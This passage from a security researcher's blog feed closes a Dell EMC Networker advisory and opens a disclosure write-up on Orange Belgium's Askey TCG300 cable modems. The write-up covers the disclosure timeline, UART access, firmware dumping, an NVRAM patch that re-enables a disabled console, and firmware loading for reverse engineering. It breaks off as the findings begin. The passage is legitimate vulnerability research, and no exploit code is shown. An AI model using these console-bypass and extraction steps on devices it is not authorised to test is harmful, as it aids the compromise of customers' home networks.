EMC Networker log file and that this file is part of a Dell EMC Networker install
subdirectory.&lt;/p&gt;

&lt;p&gt;We recommend Dell EMC to configure the Erlang runtime not to expose the Erlang
distribution service on all interfaces. Our understanding is that Erlang is present
due to usage of RabbitMQ message broker for message based communication between
the EMC Networker server and NMC Server. The only port that needs to be exposed for
that communication channel to be established is port TCP/5672 for plaintext AMQP
or TCP/5671 for SSL/TLS AMQP. The Erlang Port Mapper Daemon service exposed on 
TCP/4369 and the Erlang distribution service bound to a random port are not required
for that purpose and can be closed by configuration or firewall rule.&lt;/p&gt;

&lt;h3 id=&quot;references&quot;&gt;References&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;[0] &lt;span id=&quot;ref0&quot;&gt;&lt;/span&gt;&lt;strong&gt;Dell Technologies&lt;/strong&gt; - &lt;em&gt;EMC NetWorker Security Configuration Guide&lt;/em&gt; - &lt;a href=&quot;https://www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/data-protection/docu91948.pdf&quot;&gt;https://www.delltechnologies.com/en-us/collaterals/unauth/technical-guides-support-information/products/data-protection/docu91948.pdf&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;[1] &lt;span id=&quot;ref1&quot;&gt;&lt;/span&gt;&lt;strong&gt;Insinuator&lt;/strong&gt; - &lt;em&gt;Erlang distribution RCE and a cookie bruteforcer&lt;/em&gt; &lt;a href=&quot;https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/&quot;&gt;https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;[2] &lt;span id=&quot;ref2&quot;&gt;&lt;/span&gt;&lt;strong&gt;Rapid7&lt;/strong&gt; - &lt;em&gt;Erlang Port Mapper Daemon Cookie RCE&lt;/em&gt; - &lt;a href=&quot;https://www.rapid7.com/db/modules/exploit/multi/misc/erlang_cookie_rce/&quot;&gt;https://www.rapid7.com/db/modules/exploit/multi/misc/erlang_cookie_rce/&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;[3] &lt;span id=&quot;ref3&quot;&gt;&lt;/span&gt;&lt;strong&gt;gteissier&lt;/strong&gt; - &lt;em&gt;erl-matter&lt;/em&gt; - &lt;a href=&quot;https://github.com/gteissier/erl-matter&quot;&gt;https://github.com/gteissier/erl-matter&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;pocgtfo&quot;&gt;PoC||GTFO&lt;/h3&gt;

&lt;p&gt;All proof-of-concepts are available on &lt;a href=&quot;https://github.com/qkaiser/networker-pocs&quot;&gt;Github&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Sat, 12 Jun 2021 06:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/security/2021/06/12/emc-networker-rce/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/security/2021/06/12/emc-networker-rce/</guid>
      </item>
    
      <item>
        <title>A Clockwork Orange - Remotely Compromising Orange Belgium Cable Modems</title>
        <description>&lt;p&gt;This report outlines vulnerabilities found in Askey TCG300 cable modems
provided by Orange Belgium to its subscribers.&lt;/p&gt;

&lt;p&gt;The modems are vulnerable to authenticated and unauthenticated remote
code execution through the web administration server. These
vulnerabilities arise from memory corruptions due to insecure function
calls when handling HTTP requests.&lt;/p&gt;

&lt;p&gt;These vulnerabilities can be exploited by attackers who already have
access to the device’s local network, &lt;strong&gt;including from the guest
network&lt;/strong&gt;. Under certain specific conditions, the attack could also be
launched remotely over the Internet.&lt;/p&gt;

&lt;p&gt;By exploiting these vulnerabilities, an attacker can gain unauthorized
access to Orange Belgium customers LAN, fully compromise the router, and
leave a persistent backdoor allowing direct remote access to the
network.&lt;/p&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Tested product&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;Askey TCG300 aka Siligence TCG300&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Firmware&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h4 id=&quot;coordinated-disclosure-timeline&quot;&gt;Coordinated Disclosure Timeline&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Initial Contact via Orange CERT-CC&lt;/strong&gt;&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Action&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;21/01/2021 - 10:42&lt;/td&gt;
      &lt;td&gt;We request a security contact for Orange Belgium from CERT.be&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;22/01/2021 - 10:21&lt;/td&gt;
      &lt;td&gt;A security contact is provided by CERT.be&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;25/01/2021 - 13:04&lt;/td&gt;
      &lt;td&gt;Report sent to Orange CERT-CC.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;25/01/2021 - 15:05&lt;/td&gt;
      &lt;td&gt;Orange CERT-CC acknowledge reception, request full list of unsafe calls.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27/01/2021 - 14:06&lt;/td&gt;
      &lt;td&gt;We provide the list of unsafe calls to Orange CERT-CC.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;27/01/2021 - 18:12&lt;/td&gt;
      &lt;td&gt;Acknowledgment from Orange CERT-CC.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;01/02/2021 - 13:21&lt;/td&gt;
      &lt;td&gt;Orange CERT-CC asks for an extension from the initial 90-days disclosure policy.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;01/02/2021 - 16:15&lt;/td&gt;
      &lt;td&gt;We request a detailed timeline indicating the firmware patch release and the firmware patch roll-out dates - as well as a rationale for the 90 days extension request - in order to decide whether or not we grant the extension.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;12/02/2021 - 10:57&lt;/td&gt;
      &lt;td&gt;No answer from Orange CERT-CC. We notify them that we stick to the 90 days disclosure policy.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;strong&gt;Second Contact, initiated by Orange Belgium Global Security&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;On March 9th 2021, we released the VOOdoo security research exploring exploitation of eCos cable modems of belgian Internet Service Provider VOO. We also made all of our eCos research public through our &lt;a href=&quot;https://ecos.wtf&quot;&gt;ecos.wtf&lt;/a&gt; website. It seems to have renewed Orange Belgium’s interest in what we sent them.&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Date&lt;/th&gt;
      &lt;th&gt;Action&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;16/03/2021 - 15:05&lt;/td&gt;
      &lt;td&gt;Orange Belgium Global Security contacts us: “&lt;em&gt;Following the disclosure of the ‘VOOdo’ security analysis and after internal discussion, OBE would like to start/resume discussion with you regarding the Orange-CERT-CC/ALERT-2021-REDACTED.&lt;/em&gt;” They mention that some of the reported vulnerabilities are already fixed, while others are being fixed as we speak. They request an extension of the disclosure deadline to September 2021 (6 months later), invoking regulatory and contractual constraints.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;17/03/2021 - 09:11&lt;/td&gt;
      &lt;td&gt;We ask Orange Belgium Global Security to indicate which vulnerabilities are already fixed in order to assess the situation. We also provide a detailed rationale as to why we’d rather stick to the 90 days (provided below).&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;25/04/2021 - 09:00&lt;/td&gt;
      &lt;td&gt;No answer from either Orange CERT-CC or Orange Belgium Global Security. Public release.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;hr /&gt;

&lt;p&gt;Our detailed rationale on why we think sticking to 90 days is OK:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Can you indicate clearly which vulnerabilities are currently patched on TCG300 deployed by Orange Belgium ?

I understand the constraints that you might be under, but a 6 months extension is a lot to ask. I agreed on an extension with VOO to protect end customers, given that an unauthenticated remote attacker could have taken over. It's not exactly the same situation here.

For the vulnerabilities I reported to Orange, the risks to end users are limited due to initial access being required.

Namely:

- authenticated RCE via the web administration panel - this is only exploitable by someone on the LAN, with knowledge of the administration password or via session hijacking, which means the customer device (e.g. laptop they used to connect to the web admin) is already compromised.

- unauthenticated RCE via Host header - this is only exploitable by someone on the LAN or guest LAN, with extensive knowledge of heap exploitation on eCos.

Orange can publish an advisory recommending their customers to disable the guest wifi if not required. This would severely limit the attack surface for those vulnerabilities until a patch is available.

I'd rather stick to the original 90 days disclosure policy and not release the full exploit code. That's what I did with the VOO exploits, they're defanged so running them won't give you a shell right away.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Over the course of this coordinated disclosure process made out of sporadic emails from two different entities, Orange managed to ask for an extension of the 90 days disclosure deadline &lt;strong&gt;twice&lt;/strong&gt; but never provided clear and detailed information about what was happening on their side. We were never in direct contact with Orange security engineers.&lt;/p&gt;

&lt;p&gt;On top of that, the fact that they came back asking for an extension after 6 weeks of radio silence because they saw the impact of our ‘VOOdoo’ research is offending. I’m convinced that upcoming security researchers would have been ignored up to the 90 days deadline (if they chose to impose one). My feeling is they got back to us because our previous research made noise and ended up in the press, not because they care about their customer premise equipment security.&lt;/p&gt;

&lt;p&gt;When writing these lines (April 25th 2021), it is still unclear which of these issues are currently patched and Orange Belgium hasn’t released an advisory about guest network attack surface.&lt;/p&gt;

&lt;p&gt;Now let’s dig into the technical details !&lt;/p&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;Orange Belgium - formerly known as Mobistar - is a belgian Internet
Service Provider which mostly serves the Wallonia region and part of
Brussels region. It provides Internet connectivity over existing cable
television systems using &lt;a href=&quot;https://en.wikipedia.org/wiki/DOCSIS&quot;&gt;DOCSIS&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Two different models of cable modems are currently deployed by &lt;a href=&quot;https://www.orange.
be/fr/support/mobile-internet-tv/configurer-wifi?pagina=/&quot;&gt;Orange Belgium&lt;/a&gt;:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;Siligence (white branded Askey TCG300)&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Compal CH6643E&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/modem-siligence-compal.jpg&quot; alt=&quot;orange belgium modems&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Due to the recent release of &lt;a href=&quot;https://ida.dk/media/6353/jens-h-staermose.pdf&quot;&gt;Cable Haunt&lt;/a&gt;, we decided to
take a look at one of these models: the Askey TCG300 provided by
Siligence.&lt;/p&gt;

&lt;h3 id=&quot;firmware-extraction&quot;&gt;Firmware Extraction&lt;/h3&gt;

&lt;p&gt;Askey does not publish firmware files for devices dedicated to large
ISPs. In order to gain access to the firmware we had to either exploit a
flaw in the web administration panel or use physical means such as flash
desoldering or UART console access.&lt;/p&gt;

&lt;p&gt;Given our limited knowledge of the device, we decided to go the physical
way and opened the box.&lt;/p&gt;

&lt;h4 id=&quot;accessing-console-port-uart&quot;&gt;Accessing Console Port (UART)&lt;/h4&gt;

&lt;p&gt;We immediately identified what looked like three UART pin-outs labelled
UART0, UART1, and UART2. When auto-identifying baud rate, we noticed
that UART0 is live while the others are not.&lt;/p&gt;

&lt;p&gt;Usually, cable modems have two separate systems: a Media Server (MS)
running Linux and a Cable Modem (CM) real-time operating system running
either &lt;a href=&quot;#TODO&quot;&gt;eCOS&lt;/a&gt; or &lt;a href=&quot;#TODO&quot;&gt;VxWorks&lt;/a&gt;. It turns out that this specific
model does not have a Media Server component.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/siligence_pinout_pic.jpeg&quot; alt=&quot;bus pirate hooked on TCG300&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The pins setup for reference:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/siligence_pinout_diagram.jpeg&quot; alt=&quot;pinout reference&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From early boot information, we see that the device bootloader is
unlocked. You can see that from the ‘Enter ‘1’, ‘2’, or ‘p’’ prompt,
allowing to enter the bootloader menu by pressing ‘p’.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;MemSize:            256 M
Chip ID:     BCM3384ZU-B0

BootLoader Version: 2.5.0beta8 Rev2 Release spiboot dual-flash nandflash
memsys2g800x16 avs linux ssc
Build Date: May 24 2016
Build Time: 17:01:11
SPI flash ID 0xc22014, size 1MB, block size 64KB, write buffer 256, flags 0x0
StrapBus address b4e00194, value fbff7e77
NAND flash: Device size 128 MB, Block size 128 KB, Page size 2048 B
Cust key size 128

Signature/PID: d22f

Successfully restored flash map from SPI flash!
NandFlashRead: Reading offset 0x2600000, length 0x5c

Image 1 Program Header:
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51

Found image 1 at offset 2700000
NandFlashRead: Reading offset 0x3600000, length 0x5c

Image 2 Program Header:
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51

Found image 2 at offset 3700000
NandFlashRead: Reading offset 0x4600000, length 0x5c

Enter '1', '2', or 'p' within 2 seconds or take default...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But even though the bootloader is unlocked, we cannot access the cable
modem console given that console input/output has been explicitly
disabled in non-volatile storage:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Checksum for dynamic settings:  0x42ccf5dd
Settings were read and verified.

Console input has been disabled in non-vol.
Console output has been disabled in non-vol!  Goodbye...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;firmware-dump-with-bcm2utils&quot;&gt;Firmware Dump with bcm2utils&lt;/h4&gt;

&lt;p&gt;In order to dump the firmware, we developed custom profiles for
bcm2-utils. This project provides two utilities:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;bcm2dump&lt;/strong&gt; A utility to dump ram/flash, primarily intended as a
firmware dump tool for cable modems based on a Broadcom SoC. Works
over serial connection (bootloader, firmware) and telnet (firmware).&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;bcm2cfg&lt;/strong&gt; A utility to modify/encrypt/decrypt the configuration
file (aka GatewaySettings.bin), but also NVRAM images.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;bcm2dump requires model-specific memory mappings definition from
&lt;em&gt;profiledef.c&lt;/em&gt; to work. Given that the device under test was not
documented yet, we gathered information by dumping the bootloader and
reversing it.&lt;/p&gt;

&lt;p&gt;Thanks to the profile we wrote, we were able to auto-detect the device
with bcmp2dump:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./bcm2dump -v info /dev/ttyUSB0,115200
detected profile TCG300(bootloader), version 2.5.0beta8
TCG300: Siligence TCG300-D22F
=============================
pssig         0xd22f
blsig         0x0000

ram           0x00000000                            RW
------------------------------------------------------
(no partitions defined)

nvram         0x00000000 - 0x000fffff  (     1 MB)  RO
------------------------------------------------------
bootloader    0x00000000 - 0x0000ffff  (    64 KB)
permnv        0x00010000 - 0x0002ffff  (   128 KB)
dynnv         0x000c0000 - 0x000fffff  (   256 KB)

flash         0x00000000 - 0x07ffffff  (   128 MB)  RO
------------------------------------------------------
linuxapps     0x00100000 - 0x026fffff  (    38 MB)
image1        0x02700000 - 0x036fffff  (    16 MB)
image2        0x03700000 - 0x046fffff  (    16 MB)
linux         0x04700000 - 0x04efffff  (     8 MB)
linuxkfs      0x04f00000 - 0x06efffff  (    32 MB)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Dumping NAND&lt;/strong&gt; We then dumped the NAND flash content. First bcm2dump will patch the
code in memory and then trigger calls to dump the flash over serial.&lt;/p&gt;

&lt;p&gt;In the excerpt below, we dump the firmware image which we analyzed to
identify issues listed in section ‘Findings’.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./bcm2dump -v dump /dev/ttyUSB0,115200 flash image1 image1.bin
detected profile TCG300(bootloader), version 2.5.0beta8
updating code at 0x84010000 (436 b)
100.00% (0x840101b3)               6  bytes/s (ELT      00:01:11)
dumping flash:0x02700000-0x036fffff (16777216 b)
100.00% (0x036fffff)            7.10k bytes/s (ELT      00:38:28)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Dumping SPI Flash&lt;/strong&gt; Dumping dynamic settings can also be done using bcm2dump:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./bcm2dump -v dump /dev/ttyUSB0,115200 nvram dynnv dynnv.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;bypassing-disabled-console-prompt&quot;&gt;Bypassing Disabled Console Prompt&lt;/h4&gt;

&lt;p&gt;If you remember the boot logs, we cannot access the device console
because it’s been explicitly disabled in the non-vol settings:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Checksum for dynamic settings:  0x42ccf5dd
Settings were read and verified.

Console input has been disabled in non-vol.
Console output has been disabled in non-vol!  Goodbye...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We explored diffrent avenues when trying to bypass this protection:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Patching the firmware code&lt;/li&gt;
  &lt;li&gt;Patching the permnv settings&lt;/li&gt;
  &lt;li&gt;Patching the dynnv settings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We ended up patching dynamic settings. First, let’s dump dynnv from the
SPI flash using bcm2-utils:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./bcm2dump -F -v dump /dev/ttyUSB0,115200 nvram dynnv dynnv.bin
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that serial_console_mode is set to disabled:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./bcm2cfg get dynnv.bin | more
{
  bfc = {
    serial_console_mode = disabled
  }
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s rewrite it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./bcm2cfg set dynnv.bin bfc.serial_console_mode 2 dynnv.modified.bin
bfc.serial_console_mode = rw
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now that we have a modified dynnv partition, it’s time to write it back
to the device. The problem here is that bcm2dump does not support (yet)
writing back to nvram or flash from the bootloader menu.&lt;/p&gt;

&lt;p&gt;In the meantime, we simply plugged ourselves to the SPI flash with an
8-pin SOIC clip.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/siligence_spi_buspirate.jpeg&quot; alt=&quot;buspirate SPI&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The chip is a Macronix MX25L8006E, with a simple pinout:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/siligence_spi_pinout.png&quot; alt=&quot;macronix pinout&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There are some issues to overcome when writing back, such as editing
multiple copies of dynamic settings. This is out of the scope of this
article. If you want to know more, head over to &lt;a href=&quot;https://ecos.wtf&quot;&gt;ecos.wtf&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But once the right settings are written back, we obtain a shell on
UART0:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CM&amp;gt; dir

!               ?               REM             call            cd
dir             find_command    help            history         instances
ls              man             pwd             sleep           syntax
system_time     usage
----
con_high        cpuLoad         cpuUtilization  exit            mbufShow
memShow         mutex_debug     ping            read_memory     reset
routeShow       run_app         shell           socket_debug    stackShow
taskDelete      taskInfo        taskPrioritySet taskResume      taskShow
taskSuspend     taskSuspendAll  taskTrace       usfsShow        version
write_memory    zone
----
[CmRgMsgPipe] [Console] [HeapManager] [HostDqm] [avs] [cm_hal] [docsis_ctl]
[dtp] [embedded_target] [event_log] [fam] [flash] [forwarder] [ftpLite]
[ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop]
[spectrum_analyzer]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;On top of that, another shell opens up on UART2:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;RG&amp;gt; help

 !               ?               REM             call            cd
 dir             find_command    help            history         instances
 ls              man             pwd             sleep           syntax
 system_time     usage
 ----
 btcp            con_high        cpuLoad         cpuUtilization  exit
 mbufShow        memShow         mutex_debug     ping            read_memory
 reset           routeShow       run_app         shell           socket_debug
 stackShow       taskDelete      taskInfo        taskPrioritySet taskResume
 taskShow        taskSuspend     taskSuspendAll  taskTrace       version
 write_memory    zone
 ----
 [80211_hal] [Console] [HeapManager] [HostDqm] [cablemedea] [eRouter]
 [embedded_target] [enet_hal] [fam] [forwarder] [ftpLite] [httpClient]
 [ip_hal] [itc_hal] [msgLog] [non-vol] [pingHelper] [power] [snmp] [snoop]
 [tr69]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Each console has a specific function (CM stands for Cable Modem, RG
stands for Router Gateway). Access to the consoles is required to obtain
crash logs from devices but it is not required to successfuly exploit
identified issues in production devices.&lt;/p&gt;

&lt;h3 id=&quot;firmware-analysis&quot;&gt;Firmware Analysis&lt;/h3&gt;

&lt;h4 id=&quot;programstore-extraction&quot;&gt;ProgramStore Extraction&lt;/h4&gt;

&lt;p&gt;Firmware files are saved in &lt;a href=&quot;#TODO&quot;&gt;ProgramStore&lt;/a&gt; file format. The
format defines a custom header containing the date, versions, filename,
load address, and then the actual firmware compressed using LZMA.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00000000  d2 2f 00 05 01 00 01 ff  59 56 41 3c 00 50 3c 0c  |./......YVA&amp;lt;.P&amp;lt;.|
00000010  80 00 40 00 54 43 47 33  30 30 2d 44 32 32 46 2e  |..@.TCG300-D22F.|
00000020  45 47 30 30 2e 31 35 2e  30 31 2e 4f 42 45 2e 30  |EG00.15.01.OBE.0|
00000030  31 2e 30 35 2e 31 31 2d  56 2d 45 2d 31 37 30 36  |1.05.11-V-E-1706|
00000040  33 30 5f 73 74 6f 2e 62  69 6e 00 00 00 00 00 00  |30_sto.bin......|
00000050  00 00 00 00 d1 d8 00 00  35 94 8d 51 5d 00 00 00  |........5..Q]...|
00000060  01 00 20 20 0e 00 0d 3a  28 ab ef 31 23 33 44 83  |..  ...:(..1#3D.|
00000070  db 18 9b 57 12 d9 ed 76  9b d2 8d 4c ad 5b 7f 7a  |...W...v...L.[.z|
00000080  0f 11 d2 c8 a8 77 99 48  98 fb 58 74 c2 b6 82 6e  |.....w.H..Xt...n|
00000090  74 89 bd 9f fb 21 63 03  40 1b dd 39 8b e9 58 48  |t....!c.@..9..XH|
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to decompress the firmware image, you need to build the
ProgramStore utility from Broadcom:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone https://github.com/Broadcom/aeolus.git
cd aeolus/ProgramStore
make
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once built, you can use it to decompress the image:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./ProgramStore -x -f TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin 
No output file name specified.  Using TCG300-D22F.out.
   Signature: d22f
     Control: 0005
   Major Rev: 0100
   Minor Rev: 01ff
  Build Time: 2017/6/30 12:17:00 Z
 File Length: 5258252 bytes
Load Address: 80004000
    Filename: TCG300-D22F.EG00.15.01.OBE.01.05.11-V-E-170630_sto.bin
         HCS: d1d8
         CRC: 35948d51
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;loading-firmware-with-reverse-engineering-tools&quot;&gt;Loading Firmware with Reverse Engineering Tools&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Loading the firmware in Radare2&lt;/strong&gt; You can load the firmware in radare2 with the command below:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;r2 -a mips -b 32 -m 0x80004000 -e 'cfg.bigendian=true' image1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Loading the firmware in Ghidra&lt;/strong&gt; When loading in Ghidra, you need to set the architecture to MIPS 32bit
big endian, and then set the right loading address.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/image1_ghidra_load.png&quot; alt=&quot;Selecting MIPS 32 bit big endian&quot; /&gt;&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/image1_ghidra_load_addr.png&quot; alt=&quot;Setting load address to 0x80004000&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Advanced details on reverse engineering process such as function
auto-identification, automated function renaming, memory mappings, or
interrupt handling falls out of scope of this article and are therefore
not covered. Again, if you want to know more, head over to &lt;a href=&quot;https://ecos.wtf&quot;&gt;ecos.wtf&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;findings&quot;&gt;Findings&lt;/h3&gt;

&lt;p&gt;The following sections document security vulnerabilities we have
identified when reverse engineering the firmware code. &lt;strong&gt;Please note
that this is in no way an exhaustive list of vulnerabilities that may
lie within the firmware.&lt;/strong&gt;&lt;/p&gt;

&lt;h4 id=&quot;stack-buffer-overflows&quot;&gt;Stack Buffer Overflows&lt;/h4&gt;

&lt;p&gt;We identified a stack buffer overflow in the parental control section of
